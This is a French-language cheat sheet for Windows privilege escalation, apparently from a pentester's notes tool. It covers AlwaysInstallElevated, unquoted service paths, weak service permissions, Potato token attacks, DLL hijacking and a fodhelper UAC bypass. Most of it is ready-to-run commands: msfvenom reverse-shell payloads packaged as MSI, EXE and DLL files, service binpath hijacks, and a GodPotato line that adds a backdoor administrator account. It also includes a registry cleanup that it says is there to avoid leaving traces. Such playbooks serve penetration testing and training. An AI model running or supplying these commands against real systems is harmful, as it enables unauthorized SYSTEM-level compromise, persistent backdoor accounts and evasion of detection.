MDstable
NoteSnippetChecklistPlaybook

Windows PrivEsc — AlwaysInstallElevated, Services, Token Impersonation

Élévation de privilèges Windows : AlwaysInstallElevated, unquoted service paths, token impersonation (Potato), DLL hijacking

snippetadvanced 2026-05-14 5 min read
privescwindowsalwaysinstallelevatedunquoted-pathtoken-impersonationpotatodll-hijackingwinpeas

Reconnaissance initiale

powershell
# Qui suis-je ?
whoami /all # user + groupes + privilèges
net user %USERNAME%
systeminfo | findstr /B /C:"OS" /C:"Hotfix"
# Winpeas — énumération automatique complète
.\winPEASx64.exe > winpeas_output.txt
.\winPEASx64.exe quiet servicesinfo systeminfo
# PowerUp (PowerSploit)
. .\PowerUp.ps1
Invoke-AllChecks | Out-File powerup_results.txt

AlwaysInstallElevated

powershell
# Vérifier si les deux clés registre sont à 1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si les deux = 1 → n'importe quel .msi s'installe en SYSTEM
bash
Variables
{{LHOST}}
{{LPORT}}
# Générer un payload MSI avec msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}
-f msi -o shellmsi
# Ou PowerUp — ajouter un utilisateur admin directement
# (sur la machine cible)
PowerUpps1
Write-UserAddMSI # génère UserAdd.msi dans le répertoire courant
powershell
# Sur la cible : exécuter le MSI malveillant
msiexec /quiet /qn /i shell.msi
# → Exécuté en tant que SYSTEM → reverse shell SYSTEM reçu

Unquoted Service Paths

powershell
# Lister les services avec chemins non quotés contenant des espaces
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
# Ou PowerShell
Get-WmiObject Win32_Service | Where-Object {
$_.PathName -notmatch '^"' -and $_.PathName -match ' '
} | Select Name, PathName, StartMode, State
# Exemple vulnérable :
# PathName : C:\Program Files\My App\service.exe
# Windows essaie successivement :
# C:\Program.exe
# C:\Program Files\My.exe ← si on peut écrire ici → privesc
# C:\Program Files\My App\service.exe
bash
Variables
{{LHOST}}
{{LPORT}}
# Identifier le chemin injectable
# Vérifier les droits d'écriture sur les dossiers parents
icacls "C:\Program Files\My App"
# Si BUILTIN\Users:(W) ou (M) → on peut écrire
# Générer le payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}
-f exe -o "My.exe"
# Placer le binaire malveillant
copy Myexe "C:\Program Files\My.exe"
# Redémarrer le service (ou attendre le redémarrage)
sc stop "VulnerableService"
sc start "VulnerableService"

Permissions faibles sur les services

powershell
Variables
{{USERNAME}}
# AccessChk (Sysinternals) — trouver les services modifiables par les users
.\accesschk64.exe -uwcv Everyone * | findstr "SERVICE_ALL_ACCESS\|SERVICE_CHANGE_CONFIG"
.\accesschk64.exe -uwcv "{{USERNAME}}" *
# PowerUp
. .\PowerUp.ps1
Get-ModifiableService # services dont le binpath est modifiable
Get-ServiceUnquoted # services avec chemin non quoté
Get-ModifiableServiceFile # binaires de services modifiables
powershell
# Modifier le binpath d'un service vulnérable
sc config "VulnerableService" binpath= "C:\Windows\Temp\shell.exe"
sc start "VulnerableService"
# → shell.exe exécuté en tant que SYSTEM (si le service tourne en SYSTEM)

Token Impersonation — Potato Attacks

Famille des Potato exploits exploitent le token SYSTEM via NTLM relay local
Hot Potato NBNS spoofing NTLM relay WPAD Win 7/10 ancien
Rotten Potato COM server NTLM relay ncessite SeImpersonatePrivilege
Juicy Potato RPC COM Win 7/8/10 Server 2016 et antrieur
Sweet Potato variante modern contourne les patches JuicyPotato
PrintSpoofer abuse du spooler dimpression Win 10 Server 2019
GodPotato variante universelle rcente Win 20122022
powershell
Variables
{{LPORT}}
{{CLSID}}
# Prérequis : vérifier si SeImpersonatePrivilege est présent
whoami /priv
# SeImpersonatePrivilege → Enabled
# SeAssignPrimaryTokenPrivilege → Enabled
# PrintSpoofer (nécessite SeImpersonatePrivilege)
.\PrintSpoofer64.exe -i -c cmd.exe
# → cmd.exe en tant que SYSTEM
# GodPotato (universel, Win 2012→2022)
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"
# JuicyPotato (serveurs 2008-2016)
.\JuicyPotato.exe -l {{LPORT}} -p cmd.exe -a "/c whoami" -t * -c "{{CLSID}}"
powershell
# Impersonation via Meterpreter
use incognito
list_tokens -u # lister les tokens disponibles
impersonate_token "NT AUTHORITY\\SYSTEM"
getuid
getsystem # méthodes automatiques

DLL Hijacking

powershell
Variables
{{LHOST}}
{{LPORT}}
# Identifier les DLLs manquantes dans les processus en cours
# Process Monitor (Sysinternals) : filtre Path ends with .dll + Result: NAME NOT FOUND
# → Note le chemin où la DLL est cherchée
# Vérifier les droits d'écriture sur le répertoire
icacls "C:\Path\Where\DLL\Is\Searched"
# Générer une DLL malveillante
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} \
-f dll -o missing_library.dll
# Placer la DLL
copy missing_library.dll "C:\Path\Where\DLL\Is\Searched\missing_library.dll"
# Redémarrer l'application ou le service
# → La DLL malveillante est chargée → shell SYSTEM

Tâches planifiées vulnérables

powershell
# Lister les tâches planifiées
schtasks /query /fo LIST /v | findstr /B /C:"Task Name" /C:"Run As User" /C:"Task To Run"
# Chercher les tâches tournant en SYSTEM avec binaire modifiable
Get-ScheduledTask | Where-Object { $_.Principal.UserId -eq "SYSTEM" } | ForEach-Object {
$action = $_.Actions | Select-Object -First 1
icacls $action.Execute 2>$null
}

Bypass UAC

powershell
# fodhelper.exe — bypass UAC sans prompt (Win 10)
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "(default)" -Value "C:\Windows\Temp\shell.exe" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Nettoyage (important pour ne pas laisser de trace)
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
⚠ Attention —

Les privilèges SeImpersonatePrivilege et SeAssignPrimaryTokenPrivilege sont accordés par défaut aux comptes de service IIS, SQL Server, et aux services Windows courants. Un compte de service compromis avec ces privilèges mène directement à SYSTEM via GodPotato ou PrintSpoofer — en quelques secondes.

💡 Tip —

WinPEAS automatise la détection de la plupart de ces vecteurs. Lancer winPEASx64.exe quiet pour réduire le bruit et cibler les résultats en rouge (critiques) et orange (importants). Coupler avec PowerUp pour une deuxième couverture — les deux outils ont des zones aveugles complémentaires.

OPS·BRAIN v1.075 notes · Securitylocal